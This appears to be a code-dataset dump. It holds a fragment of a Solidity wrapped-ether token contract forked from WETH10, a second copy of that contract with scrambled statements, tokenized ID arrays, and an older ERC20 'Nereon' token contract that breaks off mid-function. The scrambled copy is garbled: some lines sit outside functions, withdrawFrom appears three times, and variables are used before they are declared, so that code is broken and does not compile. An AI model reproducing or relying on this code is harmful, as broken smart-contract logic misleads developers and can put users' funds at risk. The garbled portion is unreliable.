// _burnFrom(address(receiver), value);
uint256 balance = balanceOf[address(receiver)];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[address(receiver)] = balance - value;
emit Transfer(address(receiver), address(0), value);
flashMinted = flashMinted - value;
return true;
}
/// @dev Burn `value` WETH10 token from caller account and withdraw matching ETH to the same.
/// Emits {Transfer} event to reflect WETH10 token burn of `value` to `address(0)` from caller account.
/// Requirements:
/// - caller account must have at least `value` balance of WETH10 token.
function withdraw(uint256 value) external override {
// _burnFrom(msg.sender, value);
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[msg.sender] = balance - value;
emit Transfer(msg.sender, address(0), value);
// _transferEther(msg.sender, value);
(bool success, ) = msg.sender.call{value: value}("");
require(success, "WETH: ETH transfer failed");
}
/// @dev Burn `value` WETH10 token from caller account and withdraw matching ETH to account (`to`).
/// Emits {Transfer} event to reflect WETH10 token burn of `value` to `address(0)` from caller account.
/// Requirements:
/// - caller account must have at least `value` balance of WETH10 token.
function withdrawTo(address payable to, uint256 value) external override {
// _burnFrom(msg.sender, value);
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[msg.sender] = balance - value;
emit Transfer(msg.sender, address(0), value);
// _transferEther(to, value);
(bool success, ) = to.call{value: value}("");
require(success, "WETH: ETH transfer failed");
}
/// @dev Burn `value` WETH10 token from account (`from`) and withdraw matching ETH to account (`to`).
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event to reflect WETH10 token burn of `value` to `address(0)` from account (`from`).
/// Requirements:
/// - `from` account must have at least `value` balance of WETH10 token.
/// - `from` account must have approved caller to spend at least `value` of WETH10 token, unless `from` and caller are the same account.
function withdrawFrom(address from, address payable to, uint256 value) external override {
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "WETH: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
// _burnFrom(from, value);
uint256 balance = balanceOf[from];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[from] = balance - value;
emit Transfer(from, address(0), value);
// _transferEther(to, value);
(bool success, ) = to.call{value: value}("");
require(success, "WETH: Ether transfer failed");
}
/// @dev Sets `value` as allowance of `spender` account over caller account's WETH10 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's WETH10 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on {approveAndCall} format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// @dev Sets `value` as allowance of `spender` account over `owner` account's WETH10 token, given `owner` account's signed approval.
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be `address(0)` and must be `owner` account.
/// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section].
/// WETH10 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol.
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "WETH: Expired permit");
uint256 chainId;
assembly {chainId := chainid()}
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId),
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "WETH: invalid permit");
// _approve(owner, spender, value);
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
/// @dev Moves `value` WETH10 token from caller's account to account (`to`).
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent WETH10 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` WETH10 token.
function transfer(address to, uint256 value) external override returns (bool) {
// _transferFrom(msg.sender, to, value);
if (to != address(0)) { // Transfer
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
} else { // Withdraw
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[msg.sender] = balance - value;
emit Transfer(msg.sender, address(0), value);
(bool success, ) = msg.sender.call{value: value}("");
require(success, "WETH: ETH transfer failed");
}
return true;
}
/// @dev Moves `value` WETH10 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent WETH10 token in favor of caller.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of WETH10 token.
/// - `from` account must have approved caller to spend at least `value` of WETH10 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "WETH: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
// _transferFrom(from, to, value);
if (to != address(0)) { // Transfer
uint256 balance = balanceOf[from];
require(balance >= value, "WETH: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
} else { // Withdraw
uint256 balance = balanceOf[from];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[from] = balance - value;
emit Transfer(from, address(0), value);
(bool success, ) = msg.sender.call{value: value}("");
require(success, "WETH: ETH transfer failed");
}
return true;
}
/// @dev Moves `value` WETH10 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent WETH10 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` WETH10 token.
/// For more information on {transferAndCall} format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
// _transferFrom(msg.sender, to, value);
if (to != address(0)) { // Transfer
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
} else { // Withdraw
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[msg.sender] = balance - value;
emit Transfer(msg.sender, address(0), value);
(bool success, ) = msg.sender.call{value: value}("");
require(success, "WETH: ETH transfer failed");
}
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
} | @dev Wrapped Ether v10 (WETH10) is an Ether (ETH) ERC-20 wrapper. You can `deposit` ETH and obtain a WETH10 balance which can then be operated as an ERC-20 token. You can `withdraw` ETH from WETH10, which will then burn WETH10 token in your wallet. The amount of WETH10 token in any wallet is always identical to the balance of ETH deposited minus the ETH withdrawn with that specific wallet. | contract WETH10 is IWETH10 {
string public constant name = "Gwei Token (Forked from WETH10)";
string public constant symbol = "GWEI";
uint8 public constant decimals = 9;
bytes32 public immutable CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
bytes32 public immutable PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
uint256 public immutable deploymentChainId;
bytes32 private immutable _DOMAIN_SEPARATOR;
mapping (address => uint256) public override balanceOf;
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
uint256 public override flashMinted;
constructor() {
uint256 chainId;
deploymentChainId = chainId;
_DOMAIN_SEPARATOR = _calculateDomainSeparator(chainId);
}
assembly {chainId := chainid()}
function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {
return keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
}
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
uint256 chainId;
return chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId);
}
assembly {chainId := chainid()}
function totalSupply() external view override returns (uint256) {
return address(this).balance + flashMinted;
}
receive() external payable {
balanceOf[msg.sender] += msg.value;
emit Transfer(address(0), msg.sender, msg.value);
}
function deposit() external override payable {
balanceOf[msg.sender] += msg.value;
emit Transfer(address(0), msg.sender, msg.value);
}
function depositTo(address to) external override payable {
balanceOf[to] += msg.value;
emit Transfer(address(0), to, msg.value);
}
function depositToAndCall(address to, bytes calldata data) external override payable returns (bool success) {
balanceOf[to] += msg.value;
emit Transfer(address(0), to, msg.value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, msg.value, data);
}
function maxFlashLoan(address token) external view override returns (uint256) {
}
function flashFee(address token, uint256) external view override returns (uint256) {
require(token == address(this), "WETH: flash mint only WETH10");
return 0;
}
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 value, bytes calldata data) external override returns (bool) {
require(token == address(this), "WETH: flash mint only WETH10");
require(value <= type(uint112).max, "WETH: individual loan limit exceeded");
flashMinted = flashMinted + value;
require(flashMinted <= type(uint112).max, "WETH: total loan limit exceeded");
balanceOf[address(receiver)] += value;
emit Transfer(address(0), address(receiver), value);
require(
receiver.onFlashLoan(msg.sender, address(this), value, 0, data) == CALLBACK_SUCCESS,
"WETH: flash loan failed"
);
uint256 allowed = allowance[address(receiver)][address(this)];
if (allowed != type(uint256).max) {
require(allowed >= value, "WETH: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[address(receiver)][address(this)] = reduced;
emit Approval(address(receiver), address(this), reduced);
}
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[address(receiver)] = balance - value;
emit Transfer(address(receiver), address(0), value);
flashMinted = flashMinted - value;
return true;
}
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 value, bytes calldata data) external override returns (bool) {
require(token == address(this), "WETH: flash mint only WETH10");
require(value <= type(uint112).max, "WETH: individual loan limit exceeded");
flashMinted = flashMinted + value;
require(flashMinted <= type(uint112).max, "WETH: total loan limit exceeded");
balanceOf[address(receiver)] += value;
emit Transfer(address(0), address(receiver), value);
require(
receiver.onFlashLoan(msg.sender, address(this), value, 0, data) == CALLBACK_SUCCESS,
"WETH: flash loan failed"
);
uint256 allowed = allowance[address(receiver)][address(this)];
if (allowed != type(uint256).max) {
require(allowed >= value, "WETH: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[address(receiver)][address(this)] = reduced;
emit Approval(address(receiver), address(this), reduced);
}
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[address(receiver)] = balance - value;
emit Transfer(address(receiver), address(0), value);
flashMinted = flashMinted - value;
return true;
}
uint256 balance = balanceOf[address(receiver)];
function withdraw(uint256 value) external override {
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[msg.sender] = balance - value;
emit Transfer(msg.sender, address(0), value);
require(success, "WETH: ETH transfer failed");
}
(bool success, ) = msg.sender.call{value: value}("");
function withdrawTo(address payable to, uint256 value) external override {
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[msg.sender] = balance - value;
emit Transfer(msg.sender, address(0), value);
require(success, "WETH: ETH transfer failed");
}
(bool success, ) = to.call{value: value}("");
function withdrawFrom(address from, address payable to, uint256 value) external override {
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "WETH: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[from] = balance - value;
emit Transfer(from, address(0), value);
require(success, "WETH: Ether transfer failed");
}
function withdrawFrom(address from, address payable to, uint256 value) external override {
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "WETH: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[from] = balance - value;
emit Transfer(from, address(0), value);
require(success, "WETH: Ether transfer failed");
}
function withdrawFrom(address from, address payable to, uint256 value) external override {
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "WETH: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[from] = balance - value;
emit Transfer(from, address(0), value);
require(success, "WETH: Ether transfer failed");
}
uint256 balance = balanceOf[from];
(bool success, ) = to.call{value: value}("");
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "WETH: Expired permit");
uint256 chainId;
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId),
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "WETH: invalid permit");
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
assembly {chainId := chainid()}
function transfer(address to, uint256 value) external override returns (bool) {
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WETH: burn amount exceeds balance");
balanceOf[msg.sender] = balance - value;
emit Transfer(msg.sender, address(0), value);
require(success, "WETH: ETH transfer failed");
}
return true;
(bool success, ) = msg.sender.call{value: value}("");
}
| 5,787,714 | [
1,
17665,
512,
1136,
331,
2163,
261,
59,
1584,
44,
2163,
13,
353,
392,
512,
1136,
261,
1584,
44,
13,
4232,
39,
17,
3462,
4053,
18,
4554,
848,
1375,
323,
1724,
68,
512,
2455,
471,
7161,
279,
678,
1584,
44,
2163,
11013,
1492,
848,
1508,
506,
2255,
690,
487,
392,
4232,
39,
17,
3462,
1147,
18,
4554,
848,
1375,
1918,
9446,
68,
512,
2455,
628,
678,
1584,
44,
2163,
16,
1492,
903,
1508,
18305,
678,
1584,
44,
2163,
1147,
316,
3433,
9230,
18,
1021,
3844,
434,
678,
1584,
44,
2163,
1147,
316,
1281,
9230,
353,
3712,
12529,
358,
326,
11013,
434,
512,
2455,
443,
1724,
329,
12647,
326,
512,
2455,
598,
9446,
82,
598,
716,
2923,
9230,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
678,
1584,
44,
2163,
353,
467,
59,
1584,
44,
2163,
288,
203,
203,
565,
533,
1071,
5381,
508,
273,
315,
43,
1814,
77,
3155,
261,
22662,
329,
628,
678,
1584,
44,
2163,
2225,
31,
203,
565,
533,
1071,
5381,
3273,
273,
315,
43,
6950,
45,
14432,
203,
565,
2254,
28,
225,
1071,
5381,
15105,
273,
2468,
31,
203,
203,
565,
1731,
1578,
1071,
11732,
22753,
8720,
67,
12778,
273,
417,
24410,
581,
5034,
2932,
654,
39,
23,
28946,
11353,
38,
15318,
264,
18,
265,
11353,
1504,
304,
8863,
203,
565,
1731,
1578,
1071,
11732,
10950,
6068,
67,
2399,
15920,
273,
417,
24410,
581,
5034,
2932,
9123,
305,
12,
2867,
3410,
16,
2867,
17571,
264,
16,
11890,
5034,
460,
16,
11890,
5034,
7448,
16,
11890,
5034,
14096,
2225,
1769,
203,
565,
2254,
5034,
1071,
11732,
6314,
3893,
548,
31,
203,
565,
1731,
1578,
3238,
11732,
389,
18192,
67,
4550,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
3849,
11013,
951,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
3849,
1661,
764,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
1071,
3849,
1699,
1359,
31,
203,
203,
565,
2254,
5034,
1071,
3849,
9563,
49,
474,
329,
31,
203,
377,
203,
565,
3885,
1435,
288,
203,
3639,
2254,
5034,
2687,
548,
31,
203,
3639,
6314,
3893,
548,
273,
2687,
548,
31,
203,
3639,
389,
18192,
67,
4550,
273,
389,
11162,
3748,
6581,
12,
5639,
548,
1769,
203,
565,
289,
203,
203,
2
] |
./full_match/1/0x6ADD0Ac9f7dee66d02cC46A77B1666Ff5Ebf284E/sources/src/BeraPunk/Den.sol | @notice bundleId --> SlumblerParty | mapping(uint8 => SlumberParty) public slumberParties;
| 4,911,027 | [
1,
9991,
548,
15431,
9708,
3592,
749,
17619,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
11890,
28,
516,
9708,
1226,
17619,
13,
1071,
2020,
1226,
1988,
606,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
/**
*/
pragma solidity ^0.4.11;
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function toUINT112(uint256 a) internal constant returns(uint112) {
assert(uint112(a) == a);
return uint112(a);
}
function toUINT120(uint256 a) internal constant returns(uint120) {
assert(uint120(a) == a);
return uint120(a);
}
function toUINT128(uint256 a) internal constant returns(uint128) {
assert(uint128(a) == a);
return uint128(a);
}
}
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
//uint256 public totalSupply;
function totalSupply() constant returns (uint256 supply);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/// Nereon token, ERC20 compliant
contract Nereon is Token, Owned {
using SafeMath for uint256;
string public constant name = "Nereon Token"; //The Token's name
uint8 public constant decimals = 18; //Number of decimals of the smallest unit
string public constant symbol = "Nereon"; //An identifier
// packed to 256bit to save gas usage.
struct Supplies {
// uint128's max value is about 3e38.
// it's enough to present amount of tokens
uint128 total;
uint128 rawTokens;
}
Supplies supplies;
// Packed to 256bit to save gas usage.
struct Account {
// uint112's max value is about 5e33.
// it's enough to present amount of tokens
uint112 balance;
// raw token can be transformed into balance with bonus
uint112 rawTokens;
// safe to store timestamp
uint32 lastMintedTimestamp;
}
// Balances for each account
mapping(address => Account) accounts;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping(address => uint256)) allowed;
// bonus that can be shared by raw tokens
uint256 bonusOffered;
// Constructor
function Nereon() {
}
function totalSupply() constant returns (uint256 supply){
return supplies.total;
}
// Send back ether sent to me
function () {
revert();
}
// If sealed, transfer is enabled and mint is disabled
function isSealed() constant returns (bool) {
return owner == 0;
}
function lastMintedTimestamp(address _owner) constant returns(uint32) {
return accounts[_owner].lastMintedTimestamp;
}
// Claim bonus by raw tokens
function claimBonus(address _owner) internal{
require(isSealed());
if (accounts[_owner].rawTokens != 0) {
uint256 realBalance = balanceOf(_owner);
uint256 bonus = realBalance
.sub(accounts[_owner].balance)
.sub(accounts[_owner].rawTokens);
accounts[_owner].balance = realBalance.toUINT112();
accounts[_owner].rawTokens = 0;
if(bonus > 0){
Transfer(this, _owner, bonus);
}
}
}
// What is the balance of a particular account?
function balanceOf(address _owner) constant returns (uint256 balance) {
if (accounts[_owner].rawTokens == 0)
return accounts[_owner].balance;
if (bonusOffered > 0) {
uint256 bonus = bonusOffered
.mul(accounts[_owner].rawTokens)
.div(supplies.rawTokens);
return bonus.add(accounts[_owner].balance)
.add(accounts[_owner].rawTokens);
}
return uint256(accounts[_owner].balance)
.add(accounts[_owner].rawTokens);
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount) returns (bool success) {
require(isSealed());
// implicitly claim bonus for both sender and receiver
claimBonus(msg.sender);
claimBonus(_to);
// according to VEN's total supply, never overflow here
if (accounts[msg.sender].balance >= _amount
&& _amount > 0) {
accounts[msg.sender].balance -= uint112(_amount);
accounts[_to].balance = _amount.add(accounts[_to].balance).toUINT112();
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
require(isSealed());
// implicitly claim bonus for both sender and receiver
claimBonus(_from);
claimBonus(_to);
// according to VEN's total supply, never overflow here
if (accounts[_from].balance >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0) {
accounts[_from].balance -= uint112(_amount);
allowed[_from][msg.sender] -= _amount;
accounts[_to].balance = _amount.add(accounts[_to].balance).toUINT112();
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
